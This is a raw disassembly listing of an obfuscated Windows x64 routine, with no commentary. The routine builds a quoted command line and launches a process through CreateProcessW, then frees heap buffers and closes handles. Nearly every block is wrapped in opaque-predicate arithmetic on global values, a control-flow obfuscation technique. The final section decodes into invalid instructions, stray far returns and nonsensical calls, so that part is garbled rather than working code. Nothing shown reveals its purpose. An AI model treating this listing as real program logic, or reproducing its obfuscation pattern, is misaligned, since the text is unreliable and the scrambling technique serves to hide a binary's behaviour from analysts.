jmp 0x1400b1de0
test r15, r15
je 0x1400b1d40
nop dword [rax]
mov eax, dword [0x141f40350]
sub eax, dword [0x141f40354]
or eax, 0x3fad74b8
imul eax, eax, 0x2177f1e2
or eax, 0x6778ba25
cmp eax, 0xa5aee743
ja 0x1400b1c60
cmp r15, 0x10
jae 0x1400b1c8d
xor eax, eax
jmp 0x1400b1d09
mov rax, r15
and rax, 0xfffffffffffffff0
mov edx, dword [0x141f40358]
and edx, dword [0x141f4035c]
add edx, 0x78a3aec8
or edx, 0xd86777a8
add edx, 0xd544835d
cmp edx, 0x1772aff6
jb 0x1400b1c94
mov qword [rsp + 0xb0], rbp
cmp rbp, rax
jne 0x1400b1dc2
mov eax, dword [0x141f40380]
xor eax, dword [0x141f40384]
add eax, 0x64368d29
xor eax, 0x3979de1f
cmp eax, 0x6afa795b
jbe 0x1400b1d72
mov rcx, r13
call fcn.1400e09f0
mov eax, dword [0x141f40388]
xor eax, dword [0x141f4038c]
imul r14d, eax, 0xb3c61953
imul rax, r14, 0x28b71d63
shr rax, 0x20
sub r14d, eax
shr r14d, 1
add r14d, eax
shr r14d, 0x1e
or r14d, 0x6866a924
mov rcx, r13
call fcn.1400e09f0
cmp r14d, 0x47d0528c
jb 0x1400b1d72
mov word [rcx + rbp*2], 0x22
inc rbp
mov qword [rsp + 0xb0], rbp
xor r15d, r15d
nop word cs:[rax + rax]
mov eax, dword [0x141f40348]
sub eax, dword [0x141f4034c]
xor eax, 0x83f128ec
imul eax, eax, 0x6209c1b4
and eax, 0xec882e74
cmp eax, 0x66292a6c
jb 0x1400b1de0
cmp rbp, qword [rsp + 0xa0]
jne 0x1400b1928
mov qword [rsp + 0x20], 2
mov r8d, 7
mov r9d, 2
mov rcx, r13
mov rdx, rbp
call fcn.1401035b0
mov rcx, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0xb0]
jmp 0x1400b1bc9
mov qword [rsp + 0x20], 2
mov r9d, 2
mov rcx, r13
mov rdx, rbp
mov r8, r15
call fcn.1401035b0
jmp 0x1400b1b14
cmp byte [rsp + 0x148], 0
jne 0x1400b131a
mov rax, qword [rsp + 0xa0]
mov rdx, rax
sub rdx, rbp
cmp rdx, r15
jb 0x1400b20bb
mov edx, dword [0x141f40300]
mov r8d, dword [0x141f40304]
add edx, r8d
add edx, 0xa102295d
xor edx, 0x86ae1d5c
cmp edx, 0x2028d628
jb 0x1400b1f21
test r15, r15
je 0x1400b2047
mov eax, dword [0x141f40308]
imul eax, dword [0x141f4030c]
add eax, 0x5cb27650
imul rax, rax, 0x69a457a1
shr rax, 0x3e
imul eax, eax, 0x6898ff53
cmp eax, 0x19276a90
je 0x1400b1f4e
cmp r15, 0x10
jae 0x1400b1f89
mov qword [rsp + 0xb0], rbp
cmp rbp, rax
jne 0x1400b20a5
mov rcx, r13
call fcn.1400e09f0
mov eax, dword [0x141f40338]
imul eax, dword [0x141f4033c]
imul eax, eax, 0xe710664a
add eax, 0x926a2a3c
cmp eax, 0xa5c9e3d5
ja 0x1400b205c
mov word [rcx + rbp*2], 0x22
inc rbp
mov qword [rsp + 0xb0], rbp
jmp 0x1400b131a
mov eax, dword [0x141f40328]
xor eax, dword [0x141f4032c]
or eax, 0xa1411835
and eax, 0xef655e35
xor eax, 0x52abd70c
cmp eax, 0x51c9934d
jb 0x1400b213f
mov eax, dword [0x141f40330]
imul eax, dword [0x141f40334]
or eax, 0x45b51b4b
imul rax, rax, 0x806597f
shr rax, 0x3a
imul esi, eax, 0x365518bd
mov qword [rsp + 0x20], 2
mov r9d, 2
mov rcx, r13
mov rdx, rbp
mov r8, r15
call fcn.1401035b0
cmp esi, 0xaefdf9b2
ja 0x1400b213f
mov rcx, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0xb0]
mov r14, qword [rsp + 0x58]
jmp 0x1400b1f4e
mov qword [rsp + 0x20], 2
mov r9d, 2
mov rcx, r13
mov rdx, rbp
mov r8, r15
call fcn.1401035b0
jmp 0x1400b20dd
lea r12, [0x141f25880]
mov r13, qword [rsp + 0x90]
cmp qword [rsp + 0xa0], 0
je 0x1400b2192
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x141f49060]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x98]
mov r14, qword [rsp + 0x58]
jmp 0x1400b2a7b
mov rbx, qword [rsp + 0xb0]
mov eax, dword [0x141f40238]
xor edx, edx
div dword [0x141f4023c]
shr eax, 2
imul rax, rax, 0x4075e559
shr rax, 0x39
add eax, 0xe2f74127
cmp eax, 0xa99ba57
jb 0x1400b21ac
mov eax, dword [0x141f40240]
or eax, dword [0x141f40244]
cmp eax, 0x86488006
je 0x1400b21d4
mov rax, qword [rsp + 0xa0]
cmp rbx, rax
mov r13, qword [rsp + 0x90]
jne 0x1400b2237
lea rcx, [rsp + 0xa0]
call fcn.1400e09f0
mov rax, qword [rsp + 0xa0]
mov ecx, dword [0x141f40248]
xor ecx, dword [0x141f4024c]
xor ecx, 0x20011405
and ecx, 0x20677415
add ecx, 0x71cc22de
cmp ecx, 0x6afa2b11
jb 0x1400b2211
mov ecx, dword [0x141f403d0]
and ecx, dword [0x141f403d4]
xor ecx, 0xb4c4c72c
imul ecx, ecx, 0x479afc27
cmp ecx, 0xebfae9c4
je 0x1400b2a40
jmp 0x1400b2a09
mov r12, rax
mov r13, qword [rsp + 0x90]
mov r15, qword [rsp + 0x80]
cmp qword [rsp + 0xa0], 0
jne 0x1400b217b
jmp 0x1400b2192
mov eax, dword [0x141f406c0]
add eax, dword [0x141f406c4]
imul r14d, eax, 0x3364e59a
mov rcx, r13
mov edx, 0xfffffff5
mov r8, r15
call fcn.1400ba5f0
cmp r14d, 0xb452cfbc
jne 0x1400b22c5
mov rcx, r13
mov edx, 0xfffffff5
mov r8, r15
call fcn.1400ba5f0
jmp 0x1400b2287
mov rbx, rdx
test rax, rax
je 0x1400b2341
mov eax, dword [0x141f406c8]
or eax, dword [0x141f406cc]
add eax, 0x616776a3
and eax, 0x1d650060
add eax, 0x3055b225
cmp eax, 0x50604a84
mov r13, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
mov r14, qword [rsp + 0x58]
jbe 0x1400b230f
mov qword [rcx], rbx
mov qword [rcx + 0x10], 2
mov eax, dword [0x141f406d0]
and eax, dword [0x141f406d4]
add eax, 0xef2d5733
xor eax, 0x811980
and eax, 0x81a11bc0
mov qword [rcx], rbx
mov qword [rcx + 0x10], 2
cmp eax, 0x135301ec
ja 0x1400b230f
jmp 0x1400b2b9a
mov rcx, rsi
mov edx, 0xfffffff4
lea r8, [rsp + 0x180]
call fcn.1400ba5f0
mov r14, rdx
test rax, rax
mov r13, qword [rsp + 0x90]
je 0x1400b23c6
mov rdx, qword [rsp + 0x98]
mov eax, dword [0x141f406e0]
mov ecx, dword [0x141f406e4]
add eax, ecx
add eax, 0x38ff6212
and eax, 0x58aca5c1
imul eax, eax, 0xc6e79f0d
cmp eax, 0xd1acfbc6
ja 0x1400b236e
mov qword [rdx], r14
mov eax, dword [0x141f406e8]
sub eax, dword [0x141f406ec]
xor eax, 0x69a66203
imul eax, eax, 0xb063d572
add eax, 0xd9d32f6c
mov qword [rdx + 0x10], 2
cmp eax, 0x4716120c
jb 0x1400b2396
jmp 0x1400b30e4
lea rcx, [rsp + 0xa8]
mov eax, dword [0x141f406d8]
xor edx, edx
div dword [0x141f406dc]
or eax, 0xbf4a5340
imul rax, rax, 0x70b52ff5
shr rax, 0x3e
or eax, 0x6d8b1e6
cmp eax, 0x7c44afa
ja 0x1400b23ce
xorps xmm0, xmm0
movups xmmword [rcx + 0x2c], xmm0
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x10], xmm0
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x50], xmm0
movups xmmword [rcx + 0x40], xmm0
test r14, r14
jne 0x1400b2426
test rbx, rbx
jne 0x1400b2426
mov ecx, 1
test rdi, rdi
je 0x1400b244e
mov dword [rsp + 0xdc], 0x100
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], rbx
mov qword [rsp + 0x100], r14
mov ecx, 0x101
mov rax, qword [rsp + 0x140]
cmp word [rax + 0xc0], 0
je 0x1400b24a5
mov rax, qword [rsp + 0x140]
movzx eax, word [rax + 0xc2]
mov dword [rsp + 0xdc], ecx
mov ecx, dword [0x141f406f0]
imul ecx, dword [0x141f406f4]
or ecx, 0x3409212
and ecx, 0x8b61b25a
xor ecx, 0x4e5b41ef
mov word [rsp + 0xe0], ax
cmp ecx, 0x698e7258
jb 0x1400b2476
mov eax, dword [0x141f406f8]
xor edx, edx
div dword [0x141f406fc]
imul eax, eax, 0xa46be17
add eax, 0x9b5458e2
cmp eax, 0xe23f209c
ja 0x1400b24a5
mov rax, qword [rsp + 0x140]
mov rcx, qword [rax + 0xb8]
mov eax, dword [0x141f40700]
or eax, dword [0x141f40704]
or eax, 0x20380188
and eax, 0x603c4d98
imul eax, eax, 0x6faa4d5c
cmp eax, 0xde6c7b93
ja 0x1400b24d4
mov qword [rsp + 0x148], rcx
test rcx, rcx
je 0x1400b25f4
mov rdx, qword [rsp + 0x140]
add rdx, 0xa8
mov dword [rsp + 0xa0], 0x70
lea rcx, [rsp + 0x1c8]
call fcn.1400bc640
mov rsi, qword [rsp + 0x1c8]
mov r13, qword [rsp + 0x1d0]
mov eax, dword [0x141f40708]
mov ecx, dword [0x141f4070c]
add eax, ecx
add eax, 0x48a02d52
xor eax, 0xf30222c8
and eax, 0xf30f32f9
cmp eax, 0xb58efd4
jb 0x1400b253f
test rsi, rsi
je 0x1400b289f
or ebp, 0x80000
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movups xmm2, xmmword [rsp + 0xc0]
movups xmm3, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x1f0], xmm0
movaps xmmword [rsp + 0x200], xmm1
movaps xmmword [rsp + 0x210], xmm2
movaps xmmword [rsp + 0x220], xmm3
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x230], xmm0
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x240], xmm0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x258], rsi
lea rax, [rsp + 0x1f0]
jmp 0x1400b2607
mov dword [rsp + 0xa0], 0x68
lea rax, [rsp + 0xa0]
mov rdx, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 1
mov rcx, qword [rsp + 0x78]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400b2838
movups xmm0, xmmword [rsp + 0x160]
movups xmm1, xmmword [rsp + 0x170]
movups xmm2, xmmword [rsp + 0x180]
mov rcx, qword [rsp + 0x98]
movups xmmword [rcx + 0x30], xmm2
movups xmmword [rcx + 0x20], xmm1
movups xmmword [rcx + 0x10], xmm0
mov eax, dword [0x141f40728]
or eax, dword [0x141f4072c]
or eax, 0xe29f0a13
add eax, 0x9b866ae8
xor eax, 0x8d680a82
movaps xmm0, xmmword [rsp + 0x120]
movups xmmword [rcx], xmm0
cmp eax, 0xa1c105e2
ja 0x1400b2689
cmp qword [rsp + 0x148], 0
je 0x1400b26cc
mov rcx, rsi
mov rdx, r13
call fcn.1400bd330
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call rsi
mov rcx, rbx
call rsi
mov eax, dword [0x141f40730]
xor eax, dword [0x141f40734]
imul rbx, rax, 0x56780489
shr rbx, 0x3c
add ebx, 0xc4c12286
xor ebx, 0xea7f1d60
mov rcx, rdi
call rsi
mov eax, 0
xchg byte [0x141f49050], al
cmp ebx, 0x18fe38b9
jae 0x1400b2727
mov rcx, rdi
call rsi
xor eax, eax
xchg byte [0x141f49050], al
jmp 0x1400b26dd
mov ecx, dword [0x141f40738]
sub ecx, dword [0x141f4073c]
xor ecx, 0x81920000
or ecx, 0x6405458c
and ecx, 0xe7976d8d
cmp ecx, 0xae05faea
jb 0x1400b2727
cmp al, 2
jne 0x1400b27d0
mov eax, dword [0x141f40740]
sub eax, dword [0x141f40744]
shr eax, 5
imul rax, rax, 0x272d841
shr rax, 0x32
add eax, 0x3e7b1b9d
or eax, 0x4fe9a070
cmp eax, 0x869860d1
jbe 0x1400b2789
lea rcx, [0x141f49050]
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lea rsi, [0x141f49050]
mov rdi, qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov eax, dword [0x141f40748]
add eax, dword [0x141f4074c]
xor eax, 0x73628931
imul ebx, eax, 0x14ec5be3
mov rcx, rsi
call rdi
cmp ebx, 0xe70066fb
je 0x1400b2797
mov eax, dword [0x141f40750]
xor edx, edx
div dword [0x141f40754]
cmp eax, 0xfae1bf14
je 0x1400b27bb
mov eax, 0x8ceffaab
mov ecx, dword [0x141f40758]
and ecx, dword [0x141f4075c]
imul ecx, ecx, 0xdee0380
imul rcx, rax
shr rcx, 0x3d
xor ecx, 0x653c5435
cmp ecx, 0xa2c41709
ja 0x1400b27d5
cmp qword [rsp + 0x118], 0
je 0x1400b2e2b
mov eax, dword [0x141f40760]
sub eax, dword [0x141f40764]
xor eax, 0x40444b00
and eax, 0x40465f88
imul eax, eax, 0xc977456
cmp eax, 0xe92ef4ba
jb 0x1400b2dd7
jmp 0x1400b2db3
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rcx, qword [rsp + 0x98]
mov qword [rcx], rax
mov qword [rcx + 0x10], 2
cmp qword [rsp + 0x148], 0
je 0x1400b307e
mov ebp, dword [0x141f407d0]
imul ebp, dword [0x141f407d4]
and ebp, 0x24121408
mov rcx, rsi
mov rdx, r13
call fcn.1400bd330
cmp ebp, 0x1473b81a
jbe 0x1400b307e
mov rcx, rsi
mov rdx, r13
call fcn.1400bd330
jmp 0x1400b2868
mov eax, dword [0x141f40710]
xor eax, dword [0x141f40714]
or eax, 0x801000d1
and eax, 0xb0130cf1
xor eax, 0xaf3499c0
cmp eax, 0xf5b61df2
mov rcx, qword [rsp + 0x98]
ja 0x1400b305c
jmp 0x1400b3036
cmp qword [rsp + 0x1a0], 0
mov r12, qword [rsp + 0x78]
je 0x1400b2953
mov rsi, qword [rsp + 0x1a8]
mov eax, dword [0x141f40830]
add eax, dword [0x141f40834]
xor eax, 0x8a8102a1
or eax, 0x75549c5c
imul eax, eax, 0x61f5f71d
cmp eax, 0xdf7234cc
jbe 0x1400b291f
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x141f40838]
add eax, dword [0x141f4083c]
or eax, 0x84000032
and eax, 0xf7809876
xor eax, 0xf1db1c1f
cmp eax, 0x476fbd41
jb 0x1400b2931
cmp qword [rsp + 0x60], 0
je 0x1400b29a0
mov esi, 0xd7660603
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [str.F1sF]
xor edx, edx
div dword [0x141f40844]
imul rax, rsi
shr rax, 0x3f
imul ebx, eax, 0xe68475a1
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, r12
call rdi
cmp ebx, 0xbd929c9e
jae 0x1400b2967
nop dword [rax]
mov eax, dword [0x141f3ffc8]
xor edx, edx
div dword [0x141f3ffcc]
add eax, 0xced3ac30
xor eax, 0xb45fbc
add eax, 0x6faca518
cmp eax, 0x7e5584e8
ja 0x1400b29a0
mov dil, 1
cmp byte [rsp + 0x150], 0
jne 0x1400b2ad0
jmp 0x1400abe0e
mov eax, dword [0x141f40178]
xor edx, edx
div dword [0x141f4017c]
imul eax, eax, 0x57bd0b04
xor eax, 0xaaa00209
or eax, 0x515e59f2
ud2
ud2
mov ecx, dword [0x141f403d8]
mov edx, dword [0x141f403dc]
add ecx, edx
add ecx, 0x7bcfd7f0
or ecx, 0x642a4001
and ecx, 0xf4ae5319
mov r12, qword [rsp + 0xa8]
mov word [r12 + rbx*2], 0x22
cmp ecx, 0x5101e5a6
jae 0x1400b2a50
mov rcx, qword [rsp + 0xa8]
mov word [rcx + rbx*2], 0x22
jmp 0x1400b2a09
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x1400b2b92
mov rcx, qword [rsp + 0x98]
jmp 0x1400b2a7b
mov qword [rcx], r12
mov qword [rcx + 0x10], 2
mov eax, dword [0x141f403e0]
imul eax, dword [0x141f403e4]
imul eax, eax, 0x13b081d1
xor eax, 0x100a0efb
mov qword [rcx], r12
mov qword [rcx + 0x10], 2
cmp eax, 0x4d42531
jb 0x1400b2a70
cmp qword [rsp + 0x60], 0
je 0x1400b2ac5
mov rcx, qword [0x141f49060]
xor edi, edi
xor edx, edx
mov r8, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400b2ad0
xor edi, edi
nop word [rax + rax]
mov eax, dword [0x141f40850]
or eax, dword [0x141f40854]
or eax, 0xe9e75f7f
imul eax, eax, 0x1477af5
cmp eax, 0xf9d0c139
ja 0x1400b2ad0
cmp qword [rsp + 0x158], 0
je 0x1400b2b54
mov rsi, qword [0x141f49060]
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
nop word [rax + rax]
mov ebp, dword [0x141f40858]
or ebp, dword [0x141f4085c]
xor ebp, 0x205
or ebp, 0x77e3fcda
add ebp, 0x6528da79
mov rcx, rsi
xor edx, edx
mov r8, r14
call rbx
cmp ebp, 0x10e8db85
jb 0x1400b2b10
mov eax, dword [0x141f40860]
imul eax, dword [0x141f40864]
cmp eax, 0x8fd7c47
je 0x1400b2b40
or dil, byte [rsp + 0x8e]
nop dword [rax]
mov eax, dword [0x141f40848]
imul eax, dword [0x141f4084c]
add eax, 0x8ef6bf57
and eax, 0x6549feeb
imul eax, eax, 0x7874a4e1
cmp eax, 0xf1e699b9
ja 0x1400b2b60
test dil, dil
je 0x1400abb00
jmp 0x1400abe0e
inc rbx
jmp 0x1400af81b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x141f407e8]
or eax, dword [0x141f407ec]
imul eax, eax, 0x51d86960
cmp eax, 0x47216627
ja 0x1400b2ba3
cmp qword [rsp + 0x160], 0
je 0x1400b2bd5
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [r15], 0
mov r15, qword [rsp + 0x80]
je 0x1400b2c91
mov eax, dword [0x141f407f0]
and eax, dword [0x141f407f4]
add eax, 0x23a27496
xor eax, 0x9f055d60
imul eax, eax, 0x6f72f621
cmp eax, 0x8f653c6a
jb 0x1400b2be7
mov ecx, 0xe3f361a9
mov eax, dword [0x141f407f8]
xor edx, edx
div dword [0x141f407fc]
imul rax, rcx
shr rax, 0x3e
add eax, 0xa3cc45e5
cmp eax, 0xc4063ed
jb 0x1400b2c0f
mov eax, dword [0x141f40800]
add eax, dword [0x141f40804]
mov rsi, qword [rsp + 0x178]
imul eax, eax, 0xa6bda847
add eax, 0x853270f
cmp eax, 0x140a4021
jae 0x1400b2c60
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x141f40808]
sub eax, dword [0x141f4080c]
xor eax, 0x6648e568
imul ebx, eax, 0x70734b42
or ebx, 0x3093eb10
mov rcx, rsi
call rdi
cmp ebx, 0xf78ff595
ja 0x1400b2c67
lea rax, [rsp + 0x180]
cmp qword [rax], 0
je 0x1400b2cad
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
xchg byte [0x141f49050], al
cmp al, 2
jne 0x1400b2cc6
lea rcx, [0x141f49050]
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp qword [rsp + 0x118], 0
je 0x1400b2d36
mov eax, dword [0x141f40810]
xor edx, edx
div dword [0x141f40814]
imul rax, rax, 0x5530267b
shr rax, 0x3d
imul eax, eax, 0xc0c04c0b
cmp eax, 0x5e0f981d
je 0x1400b2d1d
mov eax, dword [0x141f40818]
imul eax, dword [0x141f4081c]
imul eax, eax, 0xe185ed14
add eax, 0xa40d7f2c
mov rcx, qword [0x141f49060]
cmp eax, 0xff6fb0ee
jbe 0x1400b2d26
mov rax, qword [0x141f49060]
jmp 0x1400b2cf7
xor edx, edx
mov r8, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x68], 0
je 0x1400b28d2
mov eax, dword [0x141f40820]
imul eax, dword [0x141f40824]
or eax, 0x1ec32973
imul rax, rax, 0x3d0bde21
shr rax, 0x3b
add eax, 0x3c4bf385
cmp eax, 0x359f6885
jb 0x1400b2d42
mov rsi, qword [0x141f49060]
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [0x141f40828]
xor ebx, dword [0x141f4082c]
and ebx, 0x4890ab82
xor ebx, 0xe578aa7
mov rcx, rsi
xor edx, edx
mov r8, r12
call rdi
cmp ebx, 0x595f6965
jbe 0x1400b28d2
mov rcx, rsi
xor edx, edx
mov r8, r12
call rdi
jmp 0x1400b2d79
mov eax, dword [0x141f40768]
xor eax, dword [0x141f4076c]
xor eax, 0xc9bd7f80
add eax, 0x6079f14a
mov rsi, qword [0x141f49060]
cmp eax, 0x447bb607
jae 0x1400b2de0
mov rax, qword [0x141f49060]
jmp 0x1400b2db3
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [rsp + 0x110]
mov ebx, dword [0x141f40770]
sub ebx, dword [0x141f40774]
and ebx, 0x26591d7d
add ebx, 0x7b726ad5
xor ebx, 0x5b941779
mov rcx, rsi
xor edx, edx
mov r8, r14
call rdi
cmp ebx, 0xe590dc7d
jbe 0x1400b2e2b
mov rcx, rsi
xor edx, edx
mov r8, r14
call rdi
jmp 0x1400b2def
mov eax, dword [0x141f40778]
or eax, dword [0x141f4077c]
or eax, 0x9bf636cd
imul eax, eax, 0xe7939b9c
add eax, 0xc319e6b4
cmp eax, 0x8238d294
jb 0x1400b2e2b
cmp qword [rsp + 0x68], 0
je 0x1400b2e68
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x1a0], 0
je 0x1400b2eef
mov eax, dword [0x141f40780]
add eax, dword [0x141f40784]
imul eax, eax, 0xd6f84e70
xor eax, 0x804800ca
or eax, 0x6a951a15
cmp eax, 0xe2d3c975
jbe 0x1400b2e9d
mov rax, qword [0x141f49060]
mov eax, dword [0x141f40788]
and eax, dword [0x141f4078c]
imul eax, eax, 0x8f02dd71
add eax, 0x24f75f18
mov r8, qword [rsp + 0x1a8]
mov rcx, qword [0x141f49060]
cmp eax, 0x171cc027
ja 0x1400b2e9d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x141f40790]
sub eax, dword [0x141f40794]
add eax, 0xc5443d47
xor eax, 0x9aa606ec
cmp eax, 0xe525dbf5
ja 0x1400b2ed2
xor eax, eax
test al, al
jne 0x1400b2ef1
cmp qword [rsp + 0x60], 0
je 0x1400b2f35
mov eax, dword [0x141f40798]
xor edx, edx
div dword [str.1_vkR]
and eax, 0x40a21d49
xor eax, 0xd80f7ee
add eax, 0x6b92a32f
mov rcx, qword [0x141f49060]
cmp eax, 0x6153ed83
jb 0x1400b2efd
xor edx, edx
mov r8, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rsp + 0x158]
mov r9d, dword [rsp + 0x150]
test r8, r8
sete al
test r9b, r9b
sete cl
mov edx, dword [0x141f407a0]
xor edx, dword [0x141f407a4]
or edx, 0x2b32d772
add edx, 0xf9bd1cc7
or edx, 0xe92ad06
cmp edx, 0xd505e649
ja 0x1400b2f45
or cl, al
jne 0x1400b2fad
mov eax, dword [0x141f407a8]
sub eax, dword [0x141f407ac]
imul eax, eax, 0x7c5f42e5
xor eax, 0x279ce3ad
cmp eax, 0x8d26b867
jb 0x1400b2f7b
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13, qword [rsp + 0x90]
cmp dword [r13], 4
jb 0x1400abe4b
mov eax, 0x84cca00d
nop word cs:[rax + rax]
mov ecx, dword [0x141f407b0]
add ecx, dword [0x141f407b4]
imul ecx, ecx, 0xfcde3104
imul rcx, rax
shr rcx, 0x3e
add ecx, 0xfc2f5941
cmp ecx, 0x2be2b212
jb 0x1400b2fd0
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [0x141f407b8]
xor edx, edx
div dword [0x141f407bc]
mov esi, eax
and esi, 0xc0510605
add esi, 0x970ed8e0
mov rcx, qword [r13 + 8]
call rdi
cmp esi, 0x60938245
jae 0x1400abe4b
mov rcx, qword [r13 + 8]
call rdi
jmp 0x1400b3000
mov eax, dword [0x141f40718]
or eax, dword [0x141f4071c]
or eax, 0x8040c352
imul eax, eax, 0x2f8512ef
add eax, 0xc89003f8
mov qword [rcx], r13
cmp eax, 0xb557c300
jbe 0x1400b3061
mov qword [rcx], r13
jmp 0x1400b3036
mov qword [rcx + 0x10], 2
mov eax, dword [0x141f40720]
xor edx, edx
div dword [0x141f40724]
cmp eax, 0x907694b2
je 0x1400b3069
mov eax, dword [0x141f407c0]
or eax, dword [0x141f407c4]
add eax, 0xc5c5716b
cmp eax, 0xe1da5627
mov rbp, r14
jbe 0x1400b30a2
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x90]
mov eax, dword [0x141f407c8]
mov ecx, dword [0x141f407cc]
add eax, ecx
add eax, 0x368be12
imul r14, rax, 0x79e6a80f
shr r14, 0x3d
add r14d, 0x892e4a79
mov rcx, rbp
call rsi
cmp r14d, 0x94e66622
ja 0x1400b30b1
mov eax, dword [0x141f407d8]
add eax, dword [0x141f407dc]
xor eax, 0x4c2000
or eax, 0x64125c72
and eax, 0x665ffc73
cmp eax, 0xace493cf
mov r14, qword [rsp + 0x58]
ja 0x1400b3142
mov eax, dword [0x141f407e0]
xor edx, edx
div dword [0x141f407e4]
mov esi, eax
xor esi, 0x32465722
add esi, 0xb082be1
xor esi, 0x920b4824
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x8b0914c0
jae 0x1400b2b9a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400b310b
loope 0x1400ba6fe
cmp eax, 0x3e71e4a9
jbe 0x1400ba720
mov eax, 0x10
call fcn.1400f4d10
cmpsb byte [rsi], byte [rdi]
add eax, dword [rax]
cmpsb byte [rsi], byte [rdi]
add eax, dword [rax]
sub rsp, rax
mov eax, 0x10
call fcn.1400f4d10
invalid
sub rsp, rax
mov eax, 0x20
call fcn.1400f4d10
sub rsp, rax
nop dword [rax]
mov r9d, dword [0x141f41618]
or r9d, dword [0x141f4161c]
add r9d, 0x5b6cbdd8
and r9d, 0x5050800
mov eax, 0x10
call fcn.1400f4d10
add byte [rax + 0x29], cl
invalid
mov rdi, rsp
mov eax, 0x10
call fcn.1400f4d10
sub rsp, rax
mov rbx, rsp
mov eax, 0x20
call fcn.1400f4d10
add eax, dword [rax]
add byte [rax + 0x29], cl
invalid
sub rsp, rax
mov r15, rsp
cmp r9d, 0x7d60306
je 0x1400ba720
mov dword [rbp], edx
mov qword [rbp - 0x10], r10
mov eax, dword [0x141f41620]
xor edx, edx
div dword [0x141f41624]
imul rax, rax, 0x789f7b21
shr rax, 0x3e
imul eax, eax, 0x9edc338b
imul eax, eax, 0x9edc338b
cmp eax, 0xa371681
jne 0x1400ba7d6
mov eax, 0x20
call fcn.1400f4d10
add byte [rax], al
add al, ch
movsd dword [rdi], dword fs:[rsi]
add eax, dword [rax]
sub rsp, rax
mov eax, 0x30
call fcn.1400f4d10
sub rsp, rax
mov eax, 0x20
call fcn.1400f4d10
sub rsp, rax
mov eax, 0x20
call fcn.1400f4d10
sub rsp, rax
mov r9d, 0x81a26717
nop dword [rax]
mov r10d, dword [0x141f41628]
add r10d, dword [0x141f4162c]
or r10d, 0x7b90e0e2
retf 0xe0e2
nop
jnp 0x1400ba837
shr edx, 1
imul r10, r9
shr r10, 0x3e
mov eax, 0x20
call fcn.1400f4d10
sub rsp, rax
mov r13, rsp
mov eax, 0x30
call fcn.1400f4d10
sub rsp, rax
mov r8, rsp
mov eax, 0x20
call fcn.1400f4d10
sub rsp, rax
mov rdx, rsp
mov eax, 0x20
call fcn.1400f4d10
sub rsp, rax
mov r14, rsp
cmp r10d, 0x640bfe81
je 0x1400ba7e0
retf 0xe0e2
mov eax, dword [rcx]
cmp rax, 5
ja case.default.0x1400ba863
lea r9, [0x141f274ac]
movsxd rax, dword [r9 + rax*4]
add rax, r9
jmp rax
mov eax, dword [0x141f41638]
or eax, dword [0x141f4163c]
call 0x1b5a4dd75
add bh, byte [rax + 0x5665c069]
